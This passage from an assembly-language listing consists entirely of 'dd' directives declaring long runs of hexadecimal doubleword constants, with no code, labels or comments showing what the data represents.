		dd 0F94A4CA2h, 0ADC794EBh, 5E16FA7Eh, 2480CBA8h, 0FF54E0EFh
		dd 93ACDC77h, 0C53754E5h, 16BBFBA3h, 5843692Eh,	0A93D670Ah
		dd 0AC51805Fh, 63861CF3h, 0DF67E038h, 0D2B0BEF5h, 0FA370B6Fh
		dd 5B2A802Dh, 0AF2CB6D2h, 9E2AFA69h, 0E54351B5h, 5D2A7336h
		dd 0A60CB592h, 35AB493Ah, 0EE40B72h, 17CB415Eh,	0E0993440h
		dd 0CEDDBEEEh, 20D6B581h, 9B115F97h, 0EFB7D524h, 56FE4062h
		dd 0F6A505A1h, 0EE415B47h, 6AC284CEh, 33478568h, 0C4C4A68Dh
		dd 7EB39EA7h, 17AECDD2h, 380F98E1h, 0D12AED42h,	5763C4D5h
		dd 0FD6DDEDh, 0B7C86691h, 7841CAE9h, 0F5AED82Fh, 4D620918h
		dd 8DA81C8Fh, 0BFD54488h, 2D643B96h, 31F4282h, 0B604B5CDh
		dd 0D265E314h, 0A7877DABh, 0ABD573D5h, 2C016126h, 0A1AD92EEh
		dd 8923B94Fh, 13300DEDh, 8D083EEEh, 49D8C73Ch, 2C5DDB2Bh
		dd 25BB28C7h, 0EC57E2A2h, 0CE9BEAB1h, 45B6950Eh, 7DE6E867h
		dd 1E35BACBh, 5099B5A8h, 5F1618D0h, 48FA9AFBh, 74B42592h
		dd 33571970h, 9F347C82h, 0EB363E2h, 0E5CA2415h,	0FF8CCFh
		dd 9A9EFD2Ch, 5E8EF820h, 970F4D65h, 0C17274F8h,	472F3B9Eh
		dd 0A1B1BAABh, 5E6EF45Ah, 77241F28h, 0AAC2C713h, 0A6344B9Ah
		dd 544B0C45h, 0AE9A363Ah, 19C68632h, 671B77Dh, 4F1E4A49h
		dd 0C5384398h, 9204941Bh, 0FBFE126Dh, 7F77B270h, 0BE8952A6h
		dd 0CE56CC59h, 6FF70A57h, 16D39521h, 6A224538h,	0A6651AEh
		dd 0A573BC2Ch, 6BA16AD2h, 0A5449789h, 0C8B2FB58h, 23AA17D8h
		dd 0B19DA9EBh, 0C9DC6062h, 0FAC7908Fh, 41A0FA1Ch, 0CFE9CC08h
		dd 0D9C1CA0Eh, 9DEF8C16h, 3FC74208h, 15F05702h,	9D1D0A7h
		dd 0EEB2785Ah, 18857705h, 5D250620h, 8DCADEE0h,	3FE0F5CBh
		dd 0ECE973F8h, 6E18FE00h, 8A19A46Ch, 0F027157h,	29266C0Bh
		dd 0B5DC3857h, 0F088EE29h, 6526DBD4h, 611329B9h, 0CE98876Eh
		dd 86CD531Bh, 705F9F1Ch, 0F1418CEFh, 78E0AFD7h,	8F5DCF3h
		dd 0B2877702h, 0FF2BB129h, 0B89C639Fh, 0AC9EAB33h, 3234EFE3h
		dd 47EA9B8Dh, 0C2B20AA4h, 449FC25h, 4FEAF956h, 2FDCEC6Fh
		dd 0DBA03FFFh, 0FAE2EEA8h, 0B6EB545Ah, 0A89BE27Dh, 0F4E3A39Bh
		dd 0E989599h, 0ECCACDE4h, 7F8FB348h, 489A8C04h,	0A5F411E4h
		dd 9EBCD5F4h, 0A04414ABh, 7A2209D9h, 0D95FC0A2h, 99F82D94h
		dd 0DF8E14CEh, 1487CCEDh, 58E4CD00h, 3B46255Bh,	6E7291ADh
		dd 0A57894F8h, 0AF5512F0h, 0EBA89469h, 0FAC8B847h, 696EE901h
		dd 7B15D51Ah, 0F28B1B95h, 2E1A09Bh, 19DA4C86h, 58C9F90h
		dd 0D366FB9Ch, 3F1F66D5h, 35F2BBDCh, 75C9D45Fh,	2302616Bh
		dd 2CD98AD1h, 5B083506h, 0DCCAD293h, 0AA1CAC5Bh, 0D035085Dh
		dd 21BB714Eh, 0F5432F81h, 3711DBAFh, 0A9089251h, 71D0C4D5h
		dd 62B01F1h, 8BF61667h,	775CB6F7h, 71455298h, 0C05AAA7Dh
		dd 534334F4h, 3315B164h, 3790101Bh, 7DBA1CF2h, 0DAB3A9F5h
		dd 74F76B7Ah, 47F51621h, 4F1F3562h, 0EE6AE97Fh,	0DCE5D7F7h
		dd 0C3B48AF3h, 8D1F48EBh, 0AF7EAD9Ch, 9BC33595h, 65272FF9h
		dd 42246FD9h, 697AB9EFh, 0B240A797h, 23FBC08Eh,	0C90F3A63h
		dd 21C05C4Dh, 0EF27D109h, 0B25926B3h, 607503Dh,	7A4CB408h
		dd 1714DA49h, 0B391DAB3h, 0EA58AFC9h, 34ECAF88h, 6FA6516Ch
		dd 0B5A408F8h, 0EAD8E059h, 0C87D7422h, 2FCB11AFh, 6C6A917Ch
		dd 89CEFA9Dh, 7E452ADCh, 0AF4F2FD8h, 59F22D05h,	8C11363Fh
		dd 3A77EF0Eh, 0B171D7h,	6CFE4268h, 501C97D8h, 9DEF2252h
		dd 66977F08h, 55F3B054h, 89E56F3Bh, 0D7FF06F4h,	0A7B2E9D3h
		dd 0AA837874h, 0D33CD92Dh, 7CE82B32h, 90762071h, 82F37B30h
		dd 99B46B0Ah, 0ADE608A1h, 944965C0h, 0BC2D859Dh, 8A9620C5h
		dd 5BFFCBD4h, 9A9851AEh, 7F174A1Bh, 8C8B6A66h, 6AF5CF8h
		dd 0FBE1F0FFh, 79965F56h, 0CEFEF4F3h, 29E9FF06h, 0B38EBEA9h
		dd 6E0207C8h, 50F99CDAh, 35605CECh, 6BBC8629h, 0AB3486D9h
		dd 3A459E9Ah, 0FB2A16BAh, 0E335954Ch, 22B15F7Fh, 654473BCh
		dd 0EB96C7F4h, 78DBBE1Eh, 86FBF647h, 198624Fh, 7B231422h
		dd 8C1B4F33h, 0D8BBC557h, 831F15B7h, 375EE5F1h,	1A2C9E60h
		dd 3F4F9E82h, 5D495549h, 63BCA72Ch, 30B99147h, 992E4CA4h
		dd 66C9A549h, 0B09582AFh, 0D2AC7420h, 931AAC30h, 0C2524817h
		dd 0F8F0C13Eh, 0EBD9DF2Dh, 0DEFE251h, 842B4D29h, 0AADAB0D4h
		dd 763924E0h, 4D7C674h,	0D9DBD9BDh, 5420B317h, 0FFE3D2BCh
		dd 80C0975h, 668C129Ch,	7A3D28D0h, 11CB88D9h, 0DEC6793Ch
		dd 0D604524Fh, 38702E13h, 5ABD1C83h, 0ED70F229h, 36D1AE45h
		dd 786B2BA6h, 0B0E86C9Ch, 0B4072222h, 0CAA7ECFBh, 0BFE35EDCh
		dd 643E8Ah, 54CD1F1Bh, 0CD084FA9h, 1E979214h, 9099EC03h
		dd 0F0745D5Dh, 71CA5A3Ch, 5E75891Fh, 721364A3h,	0EFF8DA68h
		dd 2624F0B7h, 0D11B8BEDh, 47B137D2h, 0D2FF7951h, 6A04048h
		dd 0F36B8833h, 6F8B5523h, 56A8F2BFh, 7BD26FF0h,	449AC1E4h
		dd 64CBBFFAh, 0BEEC194h, 63F2B47h, 0ECFB01DAh, 74200A5h
		dd 0BC7D27DEh, 4C6FFBEBh, 22612431h, 47AB397Bh,	0FF0456h
		dd 5F3CCBAAh, 0BFAB611Fh, 0A8535847h, 0E5E4F8F5h, 0CFC4CCCEh
		dd 6CBE6BA7h, 7A7B09F9h, 0AC3D9964h, 59504BE8h,	0EDBB3D10h
		dd 176058D0h, 58AAA9A7h, 8C6EE6CEh, 0BF47DC4Dh,	5213C1FCh
		dd 8B135987h, 9C039693h, 0D695D0E0h, 7E1EB301h,	6C3CC32Dh
		dd 1483BC74h, 723B84D5h, 515C0EBFh, 7A45AA49h, 849C30A3h
		dd 44A5F56Bh, 18F7CCC7h, 599F876Ch, 0DA9C2925h,	33E5CFC7h
		dd 14C1391h, 55D61EE4h,	0C303E45Dh, 0C7318ED7h,	941AF948h
		dd 38620ABFh, 85665FE5h, 0DEC0B99Dh, 924D952Fh,	0C3DD098h
		dd 0B18195FEh, 0E97EF238h, 0FDD94BE7h, 0AF7D3A0Fh, 16CE3787h
		dd 629EC0E0h, 0D44D9622h, 0E938C6C1h, 0F609F3EFh, 2B4A1DFFh
		dd 44EC1F2Ah, 6FACF524h, 0C9509003h, 38A77856h,	21B96C1h
		dd 4426F6DFh, 0BB56E20Dh, 898EFB5Fh, 73D8F5D6h,	7F57429Dh
		dd 0CB7A9CC8h, 0B9D91B12h, 0C623DA1Fh, 0BD09598Ah, 5EA510C1h
		dd 3098742Bh, 79263CFBh, 0B9437017h, 10D039B9h,	3DABCAFh
		dd 0A7D4CC61h, 28BC6739h, 0D2CAE342h, 3635C1D5h, 0AEB2CD54h
		dd 0F415E922h, 282B0FB7h, 79ACD5C4h, 2FA776Dh, 815BFA32h
		dd 8C553813h, 0FB28B1ECh
		dd 0F95B8B9h, 5304C820h, 68F21D8h, 0DF359CE5h, 98510445h
		dd 0A58370BDh, 0D53CD9DFh, 0DE9C3365h, 105E49C7h, 0B0FDF84Fh
		dd 0BF332181h, 2CCBAD29h, 0C58BFC3Fh, 0F8166905h, 78EFB7F8h
		dd 3BD954Fh, 61092966h,	9719A10Bh, 69E36326h, 0B90D2491h
		dd 0FA81A164h, 0FF7C71EAh, 4DC0D73Bh, 6A2A797Eh, 9AD4D56Dh
		dd 43BAD362h, 53468603h, 15BAE14h, 8BA12B5Bh, 77E796E3h
		dd 0DB44566Ch, 0A7F7F167h, 6BC35277h, 7C7BFC5h,	52DAF9DCh
		dd 9C90D403h, 30DF47BFh, 0CF6A127Ch, 59E9AACFh,	96C89450h
		dd 0B72DD6EBh, 0DB7AF76h, 267751D3h, 582C9874h,	763F80A0h
		dd 278BDA5Ah, 0A6E810C3h, 2033424Ch, 0CE72C6ABh, 0ECCE90A8h
		dd 571BB5AEh, 0D4A7471Bh, 2C2BD1F9h, 238BFD7Ch,	0D2BA9D40h
		dd 4D686545h, 14863080h, 0CC2950E4h, 52118795h,	79AC805Ch
		dd 0F7FB75B9h, 541680DCh, 4CE9CADh, 5B038B44h, 0B46B58E8h
		dd 19950D74h, 0F843E891h, 2BE381Fh, 2A9DEEB8h, 4E01CDF8h
		dd 7B04046Bh, 7D583B11h, 0C17CC948h, 0F456B29h,	4181FF35h
		dd 8BE6138h, 0FEDC53A9h, 0F4243F7Fh, 13671225h,	0FE736E02h
		dd 9D7241E0h, 4618F61Fh, 881AF562h, 51B7EFF8h, 9231E566h
		dd 4839B895h, 4DC212B0h, 0E9C7BE75h, 261A6677h,	0E6285926h
		dd 0ABC7835Fh, 0A259129Fh, 57A297B6h, 0D2B36690h, 71CAD3Fh
		dd 1D25453h, 0B1DA3FAEh, 932BFA78h, 41479E5Ah, 542A8400h
		dd 66400B4Eh, 0DD43C92Ah, 0D8AF2E59h, 0A7DA3A91h, 0B53F40AAh
		dd 113B172Eh, 22B341A3h, 0A4894564h, 0DC0B9094h, 9EDC514Ah
		dd 0E11892B6h, 65B6A49Ch, 7C5CE8ACh, 0BC79B523h, 12E20CADh
		dd 0CC179DA7h, 2E73BDADh, 6ADCFF6Ch, 97DFD079h,	11603729h
		dd 630A8E12h, 19EF60D1h, 0FDAC130h, 84CA6482h, 39BE12D3h
		dd 0B856D4EBh, 1FA35CFDh, 1DEE31F6h, 0BE1EFC77h, 80798E36h
		dd 6534115Fh, 0DF0E7D2Eh, 6B6A7878h, 0F4838DF8h, 3E045073h
		dd 0A5DC0319h, 2AED1E3Ah, 43F8974Dh, 229C7359h,	951BA27h
		dd 7E471087h, 898BA72Ah, 1EE7A4ACh, 36415BD6h, 0AC9B7EA9h
		dd 76DC8CE7h, 0C64E4D82h, 3DCBD9EBh, 7865D16Ch,	7B80346Dh
		dd 7542D7F3h, 0E892734Eh, 12AD7CA7h, 29C45D9Eh,	0EC4B35FFh
		dd 0EC1E8001h, 4C5A9F5Ah, 0AB342308h, 3A4854ADh, 80277490h
		dd 0E432BBEAh, 0A9C0FA78h, 321B2BD8h, 4E2A840Ch, 6A400B4Eh
		dd 87F9C19Eh, 9B75BBD1h, 0E244AA14h, 0A61D5EAAh, 3EF5B426h
		dd 0A709A9EBh, 0D1BA7631h, 22FB3B62h, 9E5C3FF8h, 81A15AA4h
		dd 19E971AFh, 0B6998E52h, 6C098523h, 60DF4B79h,	6C98D1AEh
		dd 0A7DAFC1Dh, 6A90D6D2h, 0D2696B2Dh, 15701455h, 0E4897959h
		dd 3844B65Eh, 898524CCh, 14A755A1h, 25BE13DDh, 0A456D469h
		dd 5322CE30h, 0D45D8833h, 0BB7EC09Eh, 2540FBBEh, 71C1DFA3h
		dd 53426D2Eh, 0E581856Fh, 0B6AC0C3Fh, 40BED406h, 87631866h
		dd 0BF960DAAh, 64D9976Ch, 0A1B06B3Ah, 63139BC8h, 7EF16484h
		dd 4043EDF1h, 8B8637F5h, 0B436CE57h, 6A62FDE7h,	0DFDE9EDFh
		dd 40299933h, 5B75BBA8h, 0F0DBB8EFh, 7D2BA077h,	0E4F78EBh
		dd 0E9BCADFAh, 1EC67CD2h, 63BDDA8Ah, 5B01B0EAh,	654E862Ch
		dd 9332241Bh, 0CA633914h, 8BB3A94Ah, 0C72E2649h, 2D660E5Fh
		dd 0B2C77985h, 89F83848h, 88ED8853h, 3BCBB3E4h,	0DDEE8D97h
		dd 0D3136BD0h, 3D4B87A6h, 0DE10B0EFh, 0BD6A8C5Dh, 0EC7F15AEh
		dd 0BBD46731h, 0A5BA1214h, 0DA51598Bh, 5120108Ch, 0E4756763h
		dd 7AA34147h, 0ACFDF35Fh, 16627945h, 44206327h,	41A65FADh
		dd 0AC5A3B3Ah, 0C21D1B7Ah, 0C9368056h, 2C21C705h, 0B1AA1B44h
		dd 0A9850C99h, 0FA2A9108h, 62BB9FD0h, 0E8569BB3h, 19DE9BFAh
		dd 0E78D28B5h, 0BC684B25h, 70795EDBh, 324CD7ACh, 2ABD7252h
		dd 0F8C48EBEh, 4420893Fh, 0CF49A65Eh, 96706EE7h, 0C786E750h
		dd 9ABB6B6Ch, 89505AB5h, 9F13A7EBh, 68AD9B94h, 0DD3E2585h
		dd 0CE4C67F9h, 0FEF930B4h, 0E9753C34h, 0F48A411Bh, 0CDBFF22Bh
		dd 47608414h, 7A57F128h, 1B7D7592h, 84A741A5h, 62B8BB81h
		dd 74908F74h, 86078129h, 53443545h, 657BB0FDh, 0DEB125E0h
		dd 9705A3C3h, 724C214Dh, 0CC317EE7h, 640ECA0Ah,	9A2BFA69h
		dd 91A7114Bh, 812A4075h, 0B6AD542Eh, 0ADAB8EEAh, 0DB676BD0h
		dd 59C01FBAh, 0C6A48D2Bh, 93C6C99Ah, 6B8E1ED1h,	5EC898B0h
		dd 0B7FAA11Fh, 1E96D2CEh, 519E5577h, 183C5094h,	0B2BB807Fh
		dd 0ECE517A8h, 3FF97D31h, 0C7056360h, 4D248424h, 0F3130A0Eh
		dd 0D269D581h, 0F8F370BEh, 0EB3A1D8Dh, 768EE821h, 8C6B4F2Ch
		dd 0E621DAD7h, 8B27DB13h, 0E3135C2Dh, 111A7316h, 0D8A2C540h
		dd 0BB97B4EAh, 0F9868050h, 0FD8456EFh, 0A2527D7Eh, 1B8105BDh
		dd 0B2017160h, 25EAD7Ah, 46696ADFh, 58B08F90h, 0F1CC3EA0h
		dd 0CC35D2C5h, 5123D217h, 43CB9A54h, 6F80EE4h, 0C6467F9h
		dd 0BB1F9E1Fh, 0A4C47398h, 33A64AF7h, 2DFCBB6Ah, 5B888C14h
		dd 698C7318h, 0F776F792h, 4D2FA337h, 957F65FFh,	7490BFE1h
		dd 0EEF1358Ah, 5344DF97h, 6AB5626Ch, 57A1E514h,	904C6018h
		dd 6A06C8Eh, 2F3E01B4h,	0DBCCE3C1h, 36A83C99h, 8ABC1BFCh
		dd 2D54C38h, 33D3BFD1h,	0E5284A90h, 50AE822Eh, 0FCA14451h
		dd 0E308F564h, 0FD8E8C11h, 42EF5023h, 0FECDDFFh, 0B079094h
		dd 89651C01h, 0AD6D40B5h, 21BDB494h, 8908FCAFh,	0F0988F57h
		dd 0EE8D8CBAh, 2C8B2EA7h, 59D84EAAh, 58B91D60h,	8B966B74h
		dd 54CBF656h, 0EB3A0CE6h, 0E1434ECAh, 71368286h, 0BF43C8DFh
		dd 0FC3B182Ch, 0E056D88Dh, 79CB6414h, 0A7753A63h, 0FB6B24D9h
		dd 6791193Bh, 0B47BAB62h, 0CBFED0E9h, 53D8FA43h, 7CE98E6Bh
		dd 4D41D97Bh, 56629AE7h, 937D8C42h, 0F1729069h,	0F8AFCAF8h
		dd 7C33A4C3h, 6D8D64DCh, 0E197B4F1h, 4C2D9817h,	0F6FF169Bh
		dd 19DCBC13h, 58A18A98h, 3F3C2EAEh, 0D08A8ED5h,	7E8539FBh
		dd 0BD886993h, 4F8FA749h, 27D68A7Ah, 74D8061Dh,	0EAF7386Ah
		dd 53442F77h, 655EE4CDh, 0E53528EFh, 6038609Ah,	64C230Fh
		dd 0E1AA095Bh, 8E330E6Eh, 78D4901Ah, 72AD6BE7h,	0E9EE0774h
		dd 0CC07FA9Eh, 0C4DEB568h, 0CA837E2Eh, 4C765451h, 0B524B0EFh
		dd 0A972491Eh, 0E3C743AEh, 5C367A4h, 0AAF73D49h, 5AF6A675h
		dd 0CC93AA82h, 0A2CB2494h, 1CFF4A02h, 27D4DDA9h, 71F7DF15h
		dd 47C436ABh, 66A300E0h, 52D1224Ch, 0F71D6D4Eh,	0EDF86CDEh
		dd 0FB36ED87h, 75280F61h, 73961641h, 129CCCD2h,	76044CE2h
		dd 5FFB05B0h, 80216497h, 339AF26Bh, 5197DE8Fh, 57911F2Fh
		dd 1E8454BBh, 7737347Ah, 0AB798670h, 965662D6h,	16BE09FCh
		dd 7F0828C3h, 3C0FF3B4h, 9DA7B3AAh, 70D9D8B7h, 7555518Fh
		dd 8544E717h, 8F2696A1h, 0D0D1E409h, 324C5E34h,	0ED573C1Eh
		dd 3B2F1E90h, 409B1B69h, 0DB8A7E50h, 91DB08E7h,	0FFC5468h
		dd 1233C5EFh, 8EE9D1A0h, 0FDC574FFh, 7B14B7AFh,	0D84543A9h
		dd 8D0E6DD9h, 0A84ED715h, 1E30A5DFh, 0F9B7A06Eh, 0B2D1F9B4h
		dd 5BFB8D6Eh, 0E2B07EDh, 4354ED09h, 0EDD8007Ah,	104EBF17h
		dd 0A1C150E4h, 471B2E5Ah, 203B15B9h, 0AAA03310h, 0C51A8C11h
		dd 0F766C651h, 5D2498A0h, 0D9E79094h, 94955B72h, 2F10ADC9h
		dd 0E1FF5B93h, 66E7ADDFh, 0E39ECD2Bh, 2BF28B31h, 87390B60h
		dd 4F3690C9h, 2F51C7B8h, 0E0941342h, 56241938h,	177F3A69h
		dd 0A1ABFD9Bh, 0C9A9F4B2h, 0FA27D353h, 4E9D77D0h, 0E4E5AF52h
		dd 84358A86h, 0BA997F3Fh
		dd 9087B431h, 0B3CC477h, 4B781131h, 81BEC3F8h, 51C9F9F6h
		dd 0FD899DE7h, 45286h, 40607423h, 84479544h, 818839A4h
		dd 0C304C2D0h, 0F506614Ch, 0F0A6886Eh, 670915C7h, 20F8F38h
		dd 6D591CA5h, 6CAC7865h, 5BFE5FDBh, 0DDC91BB6h,	5B81BD7Ch
		dd 69DE4CFFh, 34F8FD92h, 0BC1F05BEh, 27F58A7Eh,	4F79EE9Eh
		dd 0ECF8B03Ah, 8B2DE32Eh, 0D4E4665h, 47B13C3Fh,	972850F6h
		dd 0E88AE82h, 0A8C60110h, 3DCCF0C7h, 0E7703AB1h, 0DF6C3227h
		dd 952AA3AAh, 8E9EBF00h, 10FD197Ch, 0B71B3646h,	29A675BBh
		dd 612DE91Fh, 0E8CD36A6h, 36DF6051h, 0C5535D66h, 491AD5D8h
		dd 6948598Ah, 976DBEB5h, 288234D1h, 69AE8A47h, 0E0EBC7F8h
		dd 3EDA54C1h, 35DB002Eh, 0D3292BDBh, 0BFCC5A2Bh, 82044179h
		dd 429591BDh, 23A6A0AEh, 38AF795Eh, 938A5BF1h, 73E83D5Ch
		dd 8C002D5Eh, 86CFBEh, 54CE5FB6h, 58611A85h, 4B1E7EF9h
		dd 0CD22EEFAh, 307BC13Ah, 82BE1121h, 15D404C3h,	115622DFh
		dd 267AD1E3h, 59E17770h, 0A1F91720h, 0E3879BA3h, 0DA750A49h
		dd 4E83DE04h, 0A1947AC3h, 0F377F2AFh, 720663FAh, 9BC1764Fh
		dd 0FA678213h, 2AB0CA12h, 5AF732EDh, 8AA5BF37h,	71D9F02h
		dd 0B3E35A19h, 6417273Dh, 916C4BADh, 0B6253DDDh, 3D37A706h
		dd 0AC244FF2h, 9595FFF3h, 950F9B6Dh, 97004D7Dh,	8B746993h
		dd 0C72A05CEh, 0AD680012h, 52C670EBh, 29268D9h,	5D3D46CFh
		dd 631819FFh, 30203D01h, 1556FA81h, 0D2C335FEh,	0E16FADA4h
		dd 0DBDF43F3h, 144F15C7h, 1AB9C7ABh, 0B03F5C6Ch, 0A8045DC5h
		dd 0F82F57AAh, 0F519C368h, 19154149h, 9DE7BB7h,	259A09C9h
		dd 0BD0966F2h, 0D1C93471h, 3CDDF6FEh, 1304885h,	0F49F72ACh
		dd 98D4F89Dh, 4AFB9EE0h, 4EA4934h, 4D00652Ah, 731870CDh
		dd 0C8A90245h, 51D632A8h, 0A43CC9D5h, 0FB958A26h, 0F5F5E4CFh
		dd 2CD544C1h, 0D5462074h, 618D72E4h, 768C8D88h,	0D28B50ADh
		dd 0C5607B4Eh, 8775C97Ah, 9F87426h, 5E703E4h, 0E48EA97Ch
		dd 0BD80BA7Eh, 66DD190Bh, 8C719BB5h, 1CCC1216h,	0A1B2301Ah
		dd 7BBA2365h, 0B0B2999Bh, 1EAD2BF6h, 3E727C6Fh,	0AE28011Ah
		dd 0F2007B4Ah, 0E1B2EAF5h, 0A096CCB7h, 6DF4F903h, 420AE18Ah
		dd 639D30CBh, 918D35D7h, 97D7F9A7h, 43BB7598h, 47562C99h
		dd 1C7AFE13h, 0AE358F8Eh, 32A608C9h, 0A621A3h, 33C7F770h
		dd 0C0BB2D24h, 0E2FE2B78h, 5C43C57Fh, 8785B082h, 18E2CF15h
		dd 5F4A141Ch, 135C97F9h, 293BD457h, 4CC81C67h, 0EB11264Bh
		dd 0CA66E5DAh, 2313E1DEh, 3E5E59BEh, 112F89C1h,	0CE2320A8h
		dd 0C4613CDCh, 1054497Ch, 0A3C80E0Eh, 881E52DCh, 0EF6FF721h
		dd 5D2819Ch, 0D8F055CCh, 0FEDCDBAFh, 0CCB42ADEh, 0C8F0EDAFh
		dd 1BC725DEh, 1F827304h, 3BAB63D8h, 0AFB714A5h,	0DD85CB90h
		dd 970882DDh, 2543B28Dh, 96008FA8h, 35BB09A6h, 0E31F2244h
		dd 78F088A9h, 3ED766B3h, 807923DDh, 0A29DAB2h, 0CF9ABA2Dh
		dd 0A21C839Ch, 7A8A01E7h, 0A7569EAAh, 7909F2F5h, 8730368h
		dd 0D849528Dh, 0CCF3391Ch, 0E04B78EFh, 8B739AF4h, 557F3D3Fh
		dd 6D26E909h, 0F840B082h, 3D5BD78Fh, 0AA2AA3BBh, 8B90109Ah
		dd 5F0A60A4h, 7980B6EBh, 0ED9B2410h, 92E2A16Ah,	406AF31Fh
		dd 5D1F985h, 16264D47h,	38FF8BF7h, 8B8FBF57h, 49AB2FF0h
		dd 0E3E73DA6h, 0B3CB4FE9h, 0A78AF16Ch, 1498BA8Ch, 107FE4E6h
		dd 25BB944Ah, 96A5EA7h,	8774EFE0h, 0E66DDC3Eh, 1715E0E4h
		dd 21B7ADCDh, 36BC8C22h, 421B7944h, 5A46891Bh, 7235C024h
		dd 393D8B7Dh, 67203F45h, 39643399h, 0DDBADC55h,	380CE2D3h
		dd 7A5BBDDDh, 0CB8FD4BEh, 61B742h, 2C2B388Eh, 0FC78C1A2h
		dd 7C3A99D2h, 0AA42D9C8h, 0A19526FEh, 0B84C6061h, 234C72C9h
		dd 8CE5C8B2h, 0F4F81C4Eh, 0F640C38Eh, 1E5B7A30h, 70C71CCCh
		dd 4C037B95h, 0C83A3F8Ch, 2DCA615Eh, 0DA54BB84h, 8FBFA161h
		dd 275833F1h, 8DB1C4B3h, 26A1E76Ch, 6431BAA6h, 9DC80D13h
		dd 0C5EC23A8h, 700574EFh, 646424C1h, 3B6B5DF2h,	2A52D1BEh
		dd 6B1997E9h, 0B741775Dh, 0DB683229h, 0ECD1E3B0h, 0DD623473h
		dd 9EC73DA2h, 416A005Eh, 57717CE7h, 0BEC863E4h,	6735940Dh
		dd 9BBA6E8Eh, 7C3D13C2h, 0FCD3F180h, 0C4BB15B5h, 0D10F5DD9h
		dd 5DBAB8B9h, 83E03F9Fh, 9E433835h, 564EFF51h, 9E001C05h
		dd 2D775E44h, 6477D2FDh, 3DC38441h, 1B06F4B6h, 0D431089Ch
		dd 9EEAE75Bh, 0FBBF9E82h, 0A9A72FB3h, 206E060h,	44F3ACDFh
		dd 0C9707E8Bh, 0C0E66149h, 0C8ADC356h, 0FC1DE339h, 7DD20A58h
		dd 0D600818h, 0AEE5B4Eh, 5622BB97h, 0D83D8CEAh,	0D87E2F4Ah
		dd 0FF1FC7D8h, 5CF4C681h, 3C8C11DDh, 0A69BD196h, 0E80A39F6h
		dd 73F8877Eh, 6C41DA6Ch, 88699537h, 68544B9Ch, 843C1171h
		dd 4437ECB9h, 0A4113559h, 24D735E2h, 2814E558h,	370367EDh
		dd 0D74721C8h, 0F22A7DEFh, 3FBF4E40h, 0F02D3C2Eh, 0C0CC0C6Bh
		dd 2AA20F1Fh, 1EF538E7h, 310478F7h, 0EFA2B98Bh,	6E2C75Bh
		dd 14144987h, 546DAAD8h, 65FDA48Ah, 54DC0757h, 7CD111F8h
		dd 678C39Ah, 4E32AA6Ch,	0E480F3C3h, 8F8262CDh, 1D51F38Ch
		dd 6958C049h, 77B20356h, 2BA646E1h, 0E1110F1Ah,	57AD4880h
		dd 0A390B424h, 54AD078Eh, 12DCD54Ah, 9AB4B062h,	0F072D550h
		dd 4588D206h, 0E06CDE16h, 433C4D3Eh, 0A468C144h, 0B7247FA7h
		dd 620A5A19h, 2A86991Bh, 7853C824h, 3B8420DCh, 0E665CFD5h
		dd 0BF00FE85h, 28ABF991h, 72831A49h, 3ADB24h, 0FA6F3AE3h
		dd 6549BC88h, 74A23847h, 52B44890h, 0D8753283h,	72F28A14h
		dd 0E9761261h, 328D2C55h, 0D666B141h, 940A3EB7h, 0B85B0276h
		dd 32854EB6h, 37EDE585h, 0F1650F71h, 94F643h, 1D27799Bh
		dd 698BAE6Dh, 701376Eh,	66612CFh, 0F98B9FA9h, 0D097B14Ah
		dd 76719437h, 0EDBB9621h, 8C1D8197h, 1924AF4Ah,	0A7E7AFB2h
		dd 0F7679A77h, 0C9C3DEE5h, 6CC8BD7Eh, 155C866Ah, 6D63D3E9h
		dd 956E67B5h, 653D13A1h, 0E7275E8h, 1D3FE917h, 604469D9h
		dd 1680907h, 83021466h,	690905FAh, 70C82F45h, 0EE4B2656h
		dd 8CAD9465h, 0CFA4C911h, 0E61375CCh, 5C8BF178h, 0E41FBD8Bh
		dd 5DFFC04Eh, 392F1568h, 7BA4D255h, 552790C6h, 6DCB2D82h
		dd 1F112000h, 71B52D2Bh, 7E3B904h, 0FB1443DAh, 0B6619D11h
		dd 0A5ACCB8Bh, 4C39C471h, 7640BD7Ch, 0E7E9CCA9h, 0BCBE41DEh
		dd 0C513B46Eh, 9E131CABh, 87DF8ACCh, 3D7B68ACh,	89C8A0CEh
		dd 8B1AAB49h, 0D6D3DECAh, 0D87F954Fh, 33D1EED9h, 5D62712Eh
		dd 0D50C0133h, 0BAFA1A41h, 52917628h, 153F962Eh, 41C2C473h
		dd 409F7528h, 41B0F813h, 902C7459h, 0B946A5Ah, 0CF7B3931h
		dd 9ACC66E8h, 0C95A0DCh, 0C28B77ACh, 0B4C16BAh,	0D7A9B864h
		dd 2CA85FDBh, 15D823B5h, 9406F069h, 10C2E3E7h, 5BE5C365h
		dd 690864F3h, 2FBFADF6h, 0FA9834BAh, 286B0E08h,	7CF25F2h
		dd 4990ED04h, 6F5EA2Ah,	9F936AD0h, 12295E92h, 0BA79B64Ah
		dd 0AC7AD518h, 6819C285h, 4DBA3783h, 0E6394FC9h, 49437245h
		dd 4207C35h, 0A2982B01h, 0CB9BC4B9h, 0A774F434h, 80FA9F22h
		dd 9CC0EB13h, 1F2F9B0Eh, 757F5E52h, 4D84E6E3h, 40A29F72h
		dd 0C7F64C44h, 0AD8D415Bh, 0EDF2A8EBh, 4E67AD01h, 468371A8h
		dd 0ED635B74h, 45942C69h, 6834160Eh, 65D50195h,	5FB61141h
		dd 7750ED7Eh, 853F1355h, 0EE016220h, 8822D40Bh,	14255AFDh
		dd 0D7270F3Dh, 5765DF7Fh
		dd 52BF0966h, 0D03D18EDh, 0E8D3D32h, 0F5BFA2C5h, 0D8765EBBh
		dd 0EC0F871Ah, 300443AFh, 0C37C2771h, 343A18D4h, 18B4FD3Eh
		dd 3F846A12h, 0E005010Dh, 0BAD06493h, 56ABB5C5h, 3006540h
		dd 0C505A14Bh, 29E5B6BFh, 0C375A134h, 0AAD4BAE4h, 1D6CF454h
		dd 92FE8CBFh, 2978E26Dh, 3B42F6BAh, 758B1D71h, 727D8AE9h
		dd 718027E0h, 4A3C618Ch, 71916F72h, 0D57695BCh,	0E8D5D586h
		dd 46880B9Ah, 3355A84Ah, 6C7AF40Ah, 0E329C205h,	1A277A80h
		dd 1D68850Ah, 0CDDA388Bh, 6B23D054h, 0FC56F39Dh, 0BA1EF0FCh
		dd 0D788E4A9h, 197744C9h, 0B9E35411h, 3538D247h, 194790E7h
		dd 386EE6E0h, 0DD2400D3h, 676175BFh, 0C9BF8A4Ch, 5C0AD024h
		dd 933F994h, 0B319B908h, 885A18E0h, 6FE68A31h, 0F49CBA91h
		dd 0E37FC254h, 0E4107E4Dh, 0BD76C42Ah, 0A4A29496h, 0DA26747Dh
